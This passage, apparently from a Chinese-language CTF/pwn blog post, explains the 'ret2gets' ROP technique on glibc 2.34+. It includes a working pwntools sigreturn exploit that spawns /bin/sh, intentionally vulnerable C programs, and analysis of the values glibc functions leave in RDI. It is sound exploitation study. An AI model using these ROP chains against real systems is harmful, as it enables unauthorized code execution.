        ld + rop.find_gadget(["syscall", "ret"])[0],
    )
    target.sendline(payload)

    target.interactive()


if __name__ == "__main__":
    main()
```

### Using sigreturn

```python
#!/usr/bin/env python3

from pwn import (
    ELF,
    ROP,
    SigreturnFrame,
    args,
    context,
    flat,
    p32,
    process,
    raw_input,
    remote,
    u64,
)


FILE = "./vuln_patched"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary
ld = ELF("./ld-linux-x86-64.so.2")
rop = ROP(ld)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    payload = flat(
        b"A" * 0x28,
        elf.plt["gets"],
        elf.plt["gets"],
        elf.plt["puts"],
        elf.sym["main"],
    )
    raw_input("DEBUG")
    target.sendlineafter(b"ROP me if you can!", payload)

    payload = flat(
        p32(0x0),  # lock
        b"A" * 0x4,  # cnt
    )
    target.sendline(payload)
    target.sendline(b"BBBB")

    target.recvline()
    tls = u64(target.recvline().strip()[8:].ljust(0x8, b"x00"))
    ld = tls + 0xC8C0
    target.success(f"tls: {hex(tls)}")
    target.success(f"ld: {hex(ld)}")

    gets = 0x40114D
    payload = flat(
        b"A" * 0x20,
        elf.bss(),
        gets,
    )
    target.sendlineafter(b"ROP me if you can!", payload)

    frame = SigreturnFrame()
    frame.rax = 0x3B
    frame.rdi = elf.bss()
    frame.rsi = 0x0
    frame.rdx = 0x0
    frame.rip = ld + rop.find_gadget(["syscall", "ret"])[0]

    payload = flat(
        b"A" * 0x20,
        b"/bin/shx00",
        ld + rop.find_gadget(["pop rax", "ret"])[0],
        0xF,
        ld + rop.find_gadget(["syscall", "ret"])[0],
        bytes(frame),
    )
    target.sendline(payload)

    target.interactive()


if __name__ == "__main__":
    main()
```

## Digging Deeper

### RDI != _IO_stdfile_0_lock

```c
// gcc -Wall vuln.c -o vuln -no-pie -fno-stack-protector -std=c99

#include <stdio.h>

int main() {
  char buf[0x20];
  puts("ROP me if you can!");
  gets(buf);
  puts("No lock for you ;)");

  return 0;
}
```

#### Case 1: RDI is Writable

上面这个程序执行 `puts` 后 rdi 就不会是 `_IO_stdfile_0_lock` 了,取而代之的是 `_
IO_stdfile_1_lock`,但是很好解决啊,我们输入大小又没限制,直接先返回到一次 `gets
` 重新令 rdi 等于 `_IO_stdfile_0_lock` 就好了。

:::warning
唯一需要注意的是,返回到 `gets` 的话,rdi 必须是可写内存地址,否则会出错。
:::

#### Case 2: RDI is Readonly

如果 rdi 是只读地址,我们就不能直接使用 `gets` 了。但是我们可以先使用 `puts`,这
将返回给 rdi `_IO_stdfile_1_lock`,然后就可以使用和上面类似的方法继续构造 ROP Ch
ain 。

#### Case 3: RDI == NULL

此时大多数 IO 函数都不可用了,不过还是存在例外。

##### printf / scanf

[printf](https://elixir.bootlin.com/glibc/glibc-2.41/source/stdio-common/printf.
c) 的定义如下:

```c
int
__printf (const char *format, ...)
{
  va_list arg;
  int done;

  va_start (arg, format);
  done = __vfprintf_internal (stdout, format, arg, 0);
  va_end (arg);

  return done;
}

#undef _IO_printf
ldbl_strong_alias (__printf, printf);
ldbl_strong_alias (__printf, _IO_printf);
```

`va_list` 用于声明一个保存当前可变参数列表的指针;`va_start (arg, format)` 用于
告诉编译器可变参数从 `format` 之后开始,它的第二个参数必须是函数参数表里,最后一
个已知的固定参数,比如 `printf` 中就是 `format`;`va_end` 会做一些清理工作,结束
访问。

注意到传入 `__vfprintf_internal (stdout, format, arg, 0)` 的 rdi 为 `stdout`。

```c collapse={12-49}
/* The FILE-based function.  */
int
vfprintf (FILE *s, const CHAR_T *format, va_list ap, unsigned int mode_flags)
{
  /* Orient the stream.  */
#ifdef ORIENT
  ORIENT;
#endif

  /* Sanity check of arguments.  */
  ARGCHECK (s, format);

#ifdef ORIENT
  /* Check for correct orientation.  */
  if (_IO_vtable_offset (s) == 0
      && _IO_fwide (s, sizeof (CHAR_T) == 1 ? -1 : 1)
      != (sizeof (CHAR_T) == 1 ? -1 : 1))
    /* The stream is already oriented otherwise.  */
    return EOF;
#endif

  if (!_IO_need_lock (s))
    {
      struct Xprintf (buffer_to_file) wrap;
      Xprintf (buffer_to_file_init) (&wrap, s);
      Xprintf_buffer (&wrap.base, format, ap, mode_flags);
      return Xprintf (buffer_to_file_done) (&wrap);
    }

  int done;

  /* Lock stream.  */
  _IO_cleanup_region_start ((void (*) (void *)) &_IO_funlockfile, s);
  _IO_flockfile (s);

  /* Set up the wrapping buffer.  */
  struct Xprintf (buffer_to_file) wrap;
  Xprintf (buffer_to_file_init) (&wrap, s);

  /* Perform the printing operation on the buffer.  */
  Xprintf_buffer (&wrap.base, format, ap, mode_flags);
  done = Xprintf (buffer_to_file_done) (&wrap);

  /* Unlock the stream.  */
  _IO_funlockfile (s);
  _IO_cleanup_region_end (0);

  return done;
}
```

我们跟进到 `ARGCHECK` 后发现,如果 `Format == NULL` 它就会让 `printf` 提前返回,
那我们调用 `__vfprintf_internal` 时传入的 rdi 会不会继续残留在原地呢?

```c {12-16}
#define ARGCHECK(S, Format) 
  do                                                     
    {                                                    
      /* Check file argument for consistence.  */        
      CHECK_FILE (S, -1);                                
      if (S->_flags & _IO_NO_WRITES)                     
       {                                                 
  S->_flags |= _IO_ERR_SEEN;                             
  __set_errno (EBADF);                                   
  return -1;                                             
       }                                                 
      if (Format == NULL)                                
       {                                                 
  __set_errno (EINVAL);                                  
  return -1;                                             
       }                                                 
    } while (0)
```

```c
// gcc -Wall vuln.c -o vuln -no-pie -fno-stack-protector -std=c99

#include <stdio.h>

int main() {
  printf(NULL);

  return 0;
}
```

没毛病,rdi 的值还残留着 `_IO_2_1_stdout_`,成功令它变成可写地址,那现在就可以像
上面一样使用 `gets` 了。
据说这里能用 FSOP 进行 leak,不过我还没学过,暂时先把参考链接放上来,以后有时间
了再研究研究:

- <https://0xdf.gitlab.io/2021/01/16/htb-ropetwo.html#leak-libc>
- <https://www.willsroot.io/2021/01/rope2-hackthebox-writeup-chromium-v8.html>
- <https://vigneshsrao.github.io/posts/babytcache/>

另外,由于 `scanf` 和 `printf` 类似,就不贴代码了,可以试试 `scanf(NULL)`,rdi 
应该会保留 `_IO_2_1_stdin_`。

##### fflush

还有一个比较常见的接收 `FILE` 作为第一个参数的函数就是 [fflush](https://elixir.b
ootlin.com/glibc/glibc-2.41/source/libio/iofflush.c#L31) ,当 rdi 是 NULL 时,它
会调用 `_IO_flush_all` 刷新所有 IO:

```c {2-3}
int _IO_fflush(FILE *fp) {
  if (fp == NULL)
    return _IO_flush_all();
  else {
    int result;
    CHECK_FILE(fp, EOF);
    _IO_acquire_lock(fp);
    result = _IO_SYNC(fp) ? EOF : 0;
    _IO_release_lock(fp);
    return result;
  }
}
libc_hidden_def(_IO_fflush)

weak_alias (_IO_fflush, fflush)
libc_hidden_weak (fflush)

#ifndef _IO_MTSAFE_IO
strong_alias (_IO_fflush, __fflush_unlocked)
libc_hidden_def (__fflush_unlocked)
weak_alias (_IO_fflush, fflush_unlocked)
libc_hidden_weak (fflush_unlocked)
#endif
```

```c {20, 24-27}
int _IO_flush_all(void) {
  int result = 0;
  FILE *fp;

#ifdef _IO_MTSAFE_IO
  _IO_cleanup_region_start_noarg(flush_cleanup);
  _IO_lock_lock(list_all_lock);
#endif

  for (fp = (FILE *)_IO_list_all; fp != NULL; fp = fp->_chain) {
    run_fp = fp;
    _IO_flockfile(fp);

    if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) ||
         (_IO_vtable_offset(fp) == 0 && fp->_mode > 0 &&
          (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base))) &&
        _IO_OVERFLOW(fp, EOF) == EOF)
      result = EOF;

    _IO_funlockfile(fp);
    run_fp = NULL;
  }

#ifdef _IO_MTSAFE_IO
  _IO_lock_unlock(list_all_lock);
  _IO_cleanup_region_end(0);
#endif

  return result;
}
libc_hidden_def(_IO_flush_all)
```

`_IO_MTSAFE_IO` 中的 `MTSAFE` 是 `Multi Thread Safe` 的意思,即多线程时 `_IO_flu
sh_all` 最后执行的将是 `_IO_cleanup_region_end (0)`。

单线程时最后执行的是 `_IO_funlockfile (fp)`,这和我们之前看到的一样,rdi 肯定会
残留锁。

我们主要关注 `_IO_cleanup_region_end (0)` 执行完 rdi 残留的是什么内容:

```c
#define _IO_cleanup_region_end(_doit) 
  __libc_cleanup_region_end (_doit)

/* End critical region with cleanup.  */
#define __libc_cleanup_region_end(DOIT)  
  if (_cleanup_start_doit)                    
    __libc_cleanup_pop_restore (&_buffer);    
  if (DOIT)                                   
    _cleanup_routine (_buffer.__arg);         
  } /* matches __libc_cleanup_region_start */
```

[__libc_cleanup_pop_restore](https://elixir.bootlin.com/glibc/glibc-2.41/source/
nptl/libc-cleanup.c#L53) 接受 `_buffer` 地址作为参数,这是一个位于可写区域的地址
,因此我们又成功得到了可写的 rdi,可以继续通过上面的 gets 完成接下来的 ROP 了。`
_cleanup_routine` 也是同理。

#### Case 4: RDI is Junk

##### rand

`rand` 虽然不是 IO 函数,但它会在 rdi 内残留一个指向 `unsafe_state` 结构体的指针
,适用于各种版本的 libc 。

```c
long int __random(void) {
  int32_t retval;
  __libc_lock_lock(lock);
  (void)__random_r(&unsafe_state, &retval);
  __libc_lock_unlock(lock);

  return retval;
}

weak_alias(__random, random)
```

##### getchar

理论上,`getchar` 是完美的。因为参数无关紧要,而且由于 IO 函数通常在最后才会解锁
,所以它们会在 rdi 中残留一个锁(`getchar` 会返回 `_IO_stdfile_0_lock_`)。可惜
的是,这里存在一个优化:`_IO_need_lock` 。

```c
int getchar(void) {
  int result;
  if (!_IO_need_lock(stdin))
    return _IO_getc_unlocked(stdin);
  _IO_acquire_lock(stdin);
  result = _IO_getc_unlocked(stdin);
  _IO_release_lock(stdin);
  return result;
}

#ifndef _IO_MTSAFE_IO
#undef getchar_unlocked
weak_alias(getchar, getchar_unlocked)
#endif
```

如果 `((_fp)->_flags2 & _IO_FLAGS2_NEED_LOCK) != 0`,则说明需要加锁。

```c
#define _IO_need_lock(_fp) 
  (((_fp)->_flags2 & _IO_FLAGS2_NEED_LOCK) != 0)
```

否则会进入 if,执行 `_IO_getc_unlocked`,发现执行的过程中还会调用别的函数,最后
执行完并没有在 rdi 中残留什么有用的东西。

此外,根据引用我们推测,下面这些函数可能也存在同样的问题,不过还是需要自己去看代
码才能确定。
下面是多线程版本,`getchar` 最终结束后 rdi 中会残留 `_IO_stdfile_0_lock`。

```c
// gcc -Wall vuln.c -o vuln -no-pie -fno-stack-protector

#include <stdio.h>
#include <pthread.h>
#include <stdlib.h>

void *thread_function(void *arg);

int main() {
  pthread_t tids[2];
  int ret;

  ret = pthread_create(&tids[0], NULL, thread_function, (void *)1);
  if (ret != 0) {
    perror("pthread_create 1 failed");
    exit(EXIT_FAILURE);
  }

  ret = pthread_create(&tids[1], NULL, thread_function, (void *)2);
  if (ret != 0) {
    perror("pthread_create 2 failed");
    exit(EXIT_FAILURE);
  }

  pthread_join(tids[0], NULL);
  pthread_join(tids[1], NULL);

  return 0;
}

void *thread_function(void *arg) {
  getchar();

  pthread_exit(NULL);
}
```

当创建线程时,会调用 [_IO_enable_locks](https://elixir.bootlin.com/glibc/glibc-2
.41/source/libio/genops.c#L553),以确保所有新旧 IO 都设置了 `_IO_FLAGS2_NEED_LOC
K`:

```c
/* In a single-threaded process most stdio locks can be omitted.  After
   _IO_enable_locks is called, locks are not optimized away any more.
   It must be first called while the process is still single-threaded.

   This lock optimization can be disabled on a per-file basis by setting
   _IO_FLAGS2_NEED_LOCK, because a file can have user-defined callbacks
   or can be locked with flockfile and then a thread may be created
   between a lock and unlock, so omitting the lock is not valid.

   Here we have to make sure that the flag is set on all existing files
   and files created later.  */
void _IO_enable_locks(void) {
  _IO_ITER i;

  if (stdio_needs_locking)
    return;
  stdio_needs_locking = 1;
  for (i = _IO_iter_begin(); i != _IO_iter_end(); i = _IO_iter_next(i))
    _IO_iter_file(i)->_flags2 |= _IO_FLAGS2_NEED_LOCK;
}
libc_hidden_def(_IO_enable_locks)
```

有个想法是手动篡改 `_IO_FLAGS2_NEED_LOCK` 的值,不知道行不行,反正我还没遇到过,
后面自己研究研究吧。

##### putchar

```c
int putchar(int c) {
  int result;
  _IO_acquire_lock(stdout);
  result = _IO_putc_unlocked(c, stdout);
  _IO_release_lock(stdout);
  return result;
}

#if defined weak_alias && !defined _IO_MTSAFE_IO
#undef putchar_unlocked
weak_alias(putchar, putchar_unlocked)
#endif
```

这个函数就不管是不是多线程都会有残留了,不过也有限制,它要求 rdi 中必须是一个 ch
ar,或者 int 。不过感觉大多数情况下应该都不会有问题?不管了,等哪天有幸遇到再说
对不对。

## References

[ret2gets](https://sashactf.gitbook.io/pwn-notes/pwn/rop-2.34+/ret2gets)